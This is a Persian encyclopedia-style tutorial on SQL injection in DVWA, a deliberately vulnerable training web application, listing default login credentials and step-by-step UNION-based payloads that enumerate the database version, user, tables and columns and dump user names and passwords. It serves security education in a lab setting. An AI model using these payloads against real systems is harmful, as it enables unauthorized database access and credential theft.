تزریق اس کیوال در دی وی دبلیو ا

دی وی دابلیو اِی  یک اپلیکیشن وب است که برای مقاصد آموزشی طراحی شده‌است تا افراد علاقه‌مند، متخصصین، معلمان و دانش آموزان بتوانند در محیطی کنترل شده و قانونی به یادگیری امنیت وب اپلیکیشن‌ها، علل آسیب پذیری و نحوه برطرف کردن آسیب پذیری‌ها بپردازند. 

این اپلیکیشن به زبان پی اچ پی  و پایگاه داده مای اس کیوال  نوشته شده‌است، میزان امنیت اپلیکیشن قابل تنظیم از کم، متوسط و زیاد می‌باشد. سورس کد مربوط به هر صفحه برای مقایسه قابل دسترسی است و برنامه نویسان می‌توانند با بررسی کدها به چگونگی برطرف کردن آسیب پذیری‌ها پی ببرند.

در این مقاله به بررسی بخش تزریق اس کیوال  در دی وی دابلیو اِ می‌پردازیم.

تزریق اس کیوال یک تکنیک تزریق کد است که، از آسیب پذیری‌های لایه پایگاه دادهٔ یک نرم‌افزار سوءاستفاده می‌کند. این بدان معناست که برای فریب اس کیوال سرور ، ممکن است قادر به استفاده از ورودی خاصی باشیم، تا آنچه که ما می‌خواهیم انجام  می شود.

## ورود به دی وی دابلیو اِی
بندانگشتی|60px|چپ
* دستور العمل:
** مرورگر خود را (Firefox, Chrome ,…) اجرا کنید.
** در نوار آدرس مرورگر عبارت “http://192.168.1.6/dvwa/login.php”  را وارد کنید. (توجه داشته باشید که بجای “۱۹۲٫۱۶۸٫۱٫۶” باید آدرس IP محلی که دی وی دبلیو اِ در سیستم شما نصب شده‌است قرار بگیرد)
** نام کاربری و رمزعبور را وارد کنید. (Username: admin , Password: password)
** روی Login کلیک نمایید.

## تنظیم سطح امنیتی دی وی دابلیو اِی
بندانگشتی|60px|چپ
* دستورالعمل:
** از منوی سمت چپ، بر روی گزینه “DVWA Security” کلیک کنید.
** در قسمت “Script Security”، “Low” را انتخاب نمایید.
** بر روی “Submit” کلیک نمایید.

## راهنمای تزریق اس کیوال
بندانگشتی|60px|چپ
* منوی تزریق اس کیوال:
** دستور العمل:
*** از منوی سمت چپ، گزینه “SQL Injection” را انتخای نمایید.

### تزریق عمومی
** دستور العمل:
*** عدد “۱” را در جعبه متن  وارد کنید.
*** روی “Submit” کلیک کنید.
*** دقت داشته باشید، در کدی که برای این صفحه در نظر گرفته شده‌است، کد کاربری که یک عدد است را می‌گیرد و کد کاربری، نام و نام خانوادگی را نمایش می‌دهد.
*** نکته: selectیی که در PHP به کار رفته‌است و ما به آن حمله می‌کنیم، به صورت زیر است و ما به صورت خاص از فیلد “$id” استفاده می‌کنیم.

* $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

### سناریوی همیشه درست
بندانگشتی|60px|چپ
** دستورالعمل:
*** متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)

* %' or '۰'='۰

::*روی “Submit” کلیک کنید.
** نکته:
*** در این سناریو، ما به سیستم دستور می‌دهیم تمام رکوردهای نادرست و تمام رکوردهای درست را نمایش دهد.
**** % - احتمالاً با هیچ شناسه کاربری برابر نیست و بنابراین همواره غلط است.
**** ‘۰’=’۰’ – همواره درست است، چون همیشه ‘۰’ با ‘۰’ برابر است.
*** Selectیی که برای پایگاه داده ارسال می‌شود به صورت زیر است.

* SELECT first_name, last_name FROM users WHERE user_id = '%' or '۰'='۰';

### نمایش نسخه پایگاه داده
بندانگشتی|60px|چپ
** دستور العمل:
*** متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)

* %' or ۰=۰ union select null, version() #

::*روی “Submit” کلیک کنید.
** نکته:
*** به آخرین خط نمایش داده شده توجه کنید که در نام خانوادگی “۵٫۱٫۶۰” قرار داده شده‌است.
*** این در واقع نسخه پایگاه دادهٔ mysql است.

### نمایش کاربر پایگاه داده
بندانگشتی|60px|چپ
** دستور العمل:
*** متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)

* %' or ۰=۰ union select null, user() #

::*روی “Submit” کلیک کنید.
** نکته:
*** به آخرین خط نمایش داده شده توجه کنید که در نام خانوادگی “root@localhost” قرار داده شده‌است.
*** این نام، کاربر پایگاه داده است که در پشت صحنه، کد PHP را اجرا می‌کند.

### نمایش نام پایگاه داده
بندانگشتی|60px|چپ
** دستور العمل:
*** متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)

* %' or ۰=۰ union select null, database() #

::*روی “Submit” کلیک کنید.
** نکته:
*** به آخرین خط نمایش داده شده توجه کنید که در نام خانوادگی “dvwa” قرار داده شده‌است.
*** این در واقع نام پایگاه داده است.

### نمایش تمام جداول موجود در شمای پایگاه داده
بندانگشتی|60px|چپ
** دستور العمل:
*** متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)

* %' and ۱=۰ union select null, table_name from information_schema.tables where table_name like 'user%'#

::*روی “Submit” کلیک کنید.
** نکته:
*** اکنون ما تمام جداول موجود در شمای پایگاه داده را نمایش دادیم.
*** اطلاعات موجود در شما، همان اطلاعات پایگاه داده است، شما جایی است که اطلاعات پایگاه داده‌های دیگری که روی MySQL Server هستند، ذخیره می‌شود.

### نمایش تمام جداول کاربر در شمای پایگاه داده
بندانگشتی|60px|چپ
** دستور العمل:
*** متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)

* %' and ۱=۰ union select null, table_name from information_schema.tables where table_name like 'user%'#

::*روی “Submit” کلیک کنید.
** نکته:
*** اکنون ما تمامی جداولی که در شما با پسوند “user” شروع شده‌اند، را نمایش داده‌ایم.

### نمایش کلیه ستون‌های جدول کاربران  موجود، در شمای پایگاه داده
بندانگشتی|60px|چپ
** دستورالعمل:
*** متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)

* %' and ۱=۰ union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #

::*روی “Submit” کلیک کنید.
** نکته:
*** اکنون ما تمام ستون‌های جدول users را نمایش داده‌ایم.
*** این ستون‌ها شامل user_id، first_name، last_name، user و  Password است.

### نمایش محتویات ستون‌های جدول کاربر موجود در شمای پایگاه داده
انگشتدان|60px|چپ
** دستور العمل:
*** متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)

* %' and ۱=۰ union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

::*روی “Submit” کلیک کنید.
** نکته:
*** اکنون ما موفق به نمایش تمام اطلاعات لازم برای احرازهویت  و متصل شدن به پایگاه داده، شده‌ایم.

## منابع

* Wikipedia contributors, "SQL injection," Wikipedia, The Free Encyclopedia, http://en.wikipedia.org/w/index.php?title=SQL_injection&oldid=473084301 (accessed January 25, 2012).
* SQL-Injections - eine Analyse an PHP & MySQL

## پیوند به بیرون

* http://www.dvwa.co.uk
* https://github.com/RandomStorm/DVWA/wiki
* https://github.com/RandomStorm/DVWA

رده:اس‌کیوال
رده:امنیت رایانه‌ای
رده:سوءاستفاده امنیتی از رایانه
رده:مدیریت داده‌ها